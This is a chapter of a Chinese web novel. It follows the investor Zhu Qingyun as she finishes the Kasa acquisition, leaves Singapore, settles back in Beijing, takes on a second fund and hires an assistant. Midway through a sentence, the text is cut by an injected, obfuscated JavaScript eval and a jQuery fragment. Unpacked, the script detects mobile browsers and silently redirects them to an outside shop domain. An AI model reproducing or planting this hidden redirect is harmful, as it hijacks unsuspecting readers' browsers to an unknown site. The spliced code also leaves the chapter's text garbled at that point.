年后，正月还没出完，交接清单已经拉到了第四版。
第一轮是给张一的，三张纸：Kasa被收购后的观察员席位、两家被投企业的董事提名，还有三个人——印尼央行支付系统司的两位，收购方银行战投部的负责人——机构层面的事，只能交给机构层面的人。张一看完，只说了两个字："行了。"顿了顿又补一句，"这三个人，你春节后带我见一次。人认脸，不认纸。"
第二轮是给Vivian的：本地FA、律所、审计，还有央行闭门会那套主办班子——她把几个关键联系人写成了三页纸，每个人后面附一行备注：谁看重什么口径，怎么约，谁的报告要打印。
周五，收购方的最后一版协议到了。印尼最大的银行之一，收购Kasa的控股权。他们出价的理由写在战略备忘录里：支付牌照值一张门票，十万张账本值一个未来。他们想要的不是Kasa的收入，是Kasa知道每一家warung每个月赚多少钱——这是印尼任何一家银行用一百年都攒不出来的东西。
谈判是Elena自己谈的。祝青云只在最后一轮视频里出现了一次，对方的首席战略官问她："如果只能留一句话，Kasa最不能被稀释的是什么？"
"商户的信任。"她说，"别的都能买，这个买不走。"
签约在雅加达。清池投进去的1800万美元，回来5760万——A轮、A+轮、B轮，三次跟投，一次都没有缺席。3.2倍。张一在回报确认邮件里只写了四个字："可以交差。"
Elena留任CEO，签了三年的锁定协议。交割后的第一周，雅加达老城区的warung老板们没有察觉任何变化——结算照常，费率照常，Rizal照常每周来三次。只有收银台旁边的贴纸上，多了一行小字：Kasa现在是银行的一部分了。
交割当天，Elena给她发了一条消息："他们把warung的账本叫做'资产'了。"隔了几秒，又一条："我们终于让他们看见了。"
周一的全员会上，Jason只说了一句话："祝青云证明了东南亚值得做。"
然后是下一句："新加坡办公室，Vivian Lim升任Director，向张一汇报。"
走之前的那一周，她去了三趟食阁。
周一鱼汤，周三鸡饭，最后一杯kopi是周五傍晚。她站在楼下老头的档口前，老头看见她，什么都没问，开始冲kopi——Kosong，不加糖，滤布冲两遍，滚水下去，杯壁烫手。
"还回来吗？"老头把杯子递过来的时候问。
"回。"她说。
"那杯子给你留着。"
她没有说谢谢，把那杯kopi喝完了，站在路边，和第一天来的时候一样。只是第一天她皱过眉，现在不了。
走的那天中午，她绕到食阁，买了两杯甘蔗水。卖甘蔗水的小贩看见她一个人，照例问："一杯？"
"今天两杯。"她说，"另一杯飞机上喝。"小贩愣了一下，笑了，多加了半勺冰。
飞机从樟宜起飞的时候，外面正在下雨。和来的时候一样大。
祝青云坐在靠窗的位置，看着跑道尽头的海退成一条线，然后被云盖住。五年前她降落在这里的时候，窗外也是这样的雨，她拖着箱子走过廊桥，空气里有一股潮湿的植物气息。
想起公寓楼下那一棵雨树。现在，应该有别人在看它了。
飞机落下去的时候，天是蓝的。北京的风是干的。年后开春，风把天刮得很高，蓝得发脆，杨絮还没起，暖气还没停，人走到室外，风一吹，脸是麻的。
苏南来接她。
五年没见。苏南站在T3的出口，穿一件很亮的大衣，老远就挥手，挥得整个到达厅都看得见。
"你怎么还是这么瘦。"苏南说的第一句话。
"你怎么还是这么美。"她说的第二句。
机场高速两边的白杨还秃着，过了北五环，楼才一栋一栋站起来。她把车窗摇下一条缝，风灌进来，带着土味——新加坡的空气是湿的，北京的空气是有味道的：土味、尾气味，还有很远的地方谁家在炸东西的油味。
祝青云吸了一口，说："是北京的味。"
这五年，祝青云和苏南就是这样聊天的：大事都知道——拜年视频里一句，生日祝福里半句——细节都留着见面说。苏南从来不当面不说的，见了面才说；祝青云从来不追问，等苏南自己捡起来了，才接。
比如科长。拜年视频里苏南提过一嘴，说"混了个科长"，怎么混的，没说。比如Jason。去年拜年苏南也提过一嘴，提完就换了话题——换了话题，就是还没翻篇；今年肯捡起来了，就是翻篇了。
现在苏南一件一件捡起来说。
这五年她从专员做到了科长。央企的五年，别人听起来是熬资历，她做起来是另一回事：三个项目过会，两个落地，一个拿了集团年度先进。讲到项目，苏南说，处里新来的小孩做PPT，引用了一句"等量够了再重新算账"，她问谁说的，小孩说网上都这么说。她笑了一下，没解释——那句话的版权，是祝青云在吧台前站了三个下午换来的。
然后是感情的事。她自己提的，语气像讲天气：Jason还单着。前两年有人给他介绍过，他见了，说一个人挺好，后来谁再提，他都拿"忙"挡回去。就这么一直单到现在。
"他那个年纪了，"苏南说，"大概想明白了，工作就是陪他过日子的那个。"
苏南自己呢，去年谈了一个，很稳定。今年拜年苏南提了一句"挺好的一个人，下次带给你看"——没照片，没名字，就这么一句。
今天苏南把"下次"提前了："人是做建筑的，话不多，做饭比我好吃。"
"明年吧，"她说，"到时候你得来当伴娘。"
祝青云看着她。苏南在等红灯，侧脸被路灯照得发亮，每一句话都说得很稳，像早就把这些事情一件一件码放整齐了。
"伴娘，"祝青云说，"我肯定给你当。"
回北京第一天上班，她在清池前台录指纹，前台的小姑娘看着系统愣了一下："祝总，您的工卡五年前就注销了。"
"重新开一张。"
"祝总，"小姑娘低头办卡，声音小了一点，"我入职培训的时候，看过您雅加达那封邮件。"
"哪封？"
"三个阻断项。"小姑娘把卡递给她，"现在我们培训还在用。"
落地第二天她就开始看房。看了三周。第三周，中介带她上公园大道：二手房，前任业主保养得很好，客厅一整面窗，朝东。她站在那面窗前看了很久——早上六点，太阳会从国贸的方向升起来，和很多年前C城宿舍朝东的窗户外面，是同一种光。
签合同前夜，她在手机上查新家到办公室的路线，地图缩小的时候，看见两公里外那个熟悉的名字。
祝青云把地图放大，又缩小，最后关掉了。
第二天早上，她签了合同。
清池北京给她留的办公室在十六层，比新加坡那间大，窗外没有雨树，是国贸桥。她站了一会儿，看桥上的旗子被风吹得一直在动。
没有雨。她想，这就是北京和新加坡的区别：一个用风说话，一个用雨说话。
周五下班前，Jason来了一趟她的办公室，把一份文件放在她桌上。
"东南亚二期基金，"Jason说，"你做主办。人你挑。"
文件翻开，第一页是二期基金的筹备方案。清池东南亚的第一只基金是她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740878|209103||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
做起来的——Kasa、网吧SaaS、还有排队的那几家。现在募二期，规模是一期的三倍。
然后是第二份："出海这条线，也归你。青藤出海做出了月流水600万美元，全北京没有第二家机构有这个手感。出海组你搭——投中国公司的出海，东南亚、中东、拉美，都看。"
"还有，"Jason说，"北京这边的组，消费和TMT，你挑一个带。合伙人不是只管一只基金，是管几条线。"
"我刚回来。"她说。
"刚回来才合适。"Jason说，"在新加坡，你是去做业务的。回北京，你是来做业务的——做业务的意思是，线有几条，你管几条。"
助理的面试安排在周四下午。
候选人叫许默涵，P大德语系，比她晚七届。简历干净得像她当年的复印件：德语专八优秀，经济学双学位，一份券商实习，一份四大实习，还有一页用德语写的自荐信。
祝青云问了投资的问题。行业、估值、判断，许默涵答得不算漂亮，但每一句都是自己想过的话，没有一个字是背出来的。
有一个问题是："如果一个项目的创始人数据很好，但你见到他人，直觉不对，你怎么办？"
许默涵想了想，说："我会先把直觉放一放，回去把数据再看一遍。如果数据还是好，我会问自己，直觉不对的地方，是不是因为它和我见过的创始人都不一样。"
"那如果就是不一样呢？"
"那可能就是答案。"许默涵说，"不一样的东西，通常要么很贵，要么很坑。工作就是分清哪一种。"
最后一个问题，她换了一种语言。
"Warum hast du Deutsch gelernt?"（你学德语是为了什么？）
许默涵愣了一秒，然后用德语回答，不快，但每一个变格都是对的：
"Um eines Tages sagen zu k?nnen,was ich sagen muss."（为了有一天，能说出我需要说的话。）
祝青云沉默了一会儿。
很多年前，也有人问过她一个类似的问题。那时她的答案是：德语是工具，不是资产。这些年她用这门语言读过一首诗、一封信、一句题词，才知道当年答对了一半——它是工具，但当工具被用了足够多年，它会变成语言本身。
"Ich verstehe."（我明白。）她说，然后还是德语，"Sie sind eingestellt."（你被录取了。）
许默涵走出去的时候，脚步比进来的时候快了一点。
她在面试记录上写下最后一个字，合上本子。窗外是北京的春天，风很大，吹得国贸桥上的旗子一直在动。
同一个星期，TCP的合伙人周会上，有人随口提了一句：清池的祝青云调回北京了。
会议室里没有谁接话。方严手里的笔停在纸面上，停了一下，又继续写。
散会以后，他把清池官网的人事公告又点开看了一遍。"祝青云"三个字，在"合伙人"那一栏的第一个。他把页面关了。
杨瑞安和他一起下楼。
"听说了？"杨瑞安问。
"嗯。"
"要不找个由头，吃个饭？我叫上几个人，也叫上她。"
"不用。"
电梯到了。杨瑞安按了负一层，看了他两秒。
"我什么都没说。"杨瑞安说。
"我知道。"方严说，"谢了。"
那天晚上，方严家里的灯，亮得比平时晚了一些。电视柜上，那块灰色的板件还在原来的位置。他拿起来，看了一眼，又放回去。
拼不完的城堡，不归他拼。他只是没扔。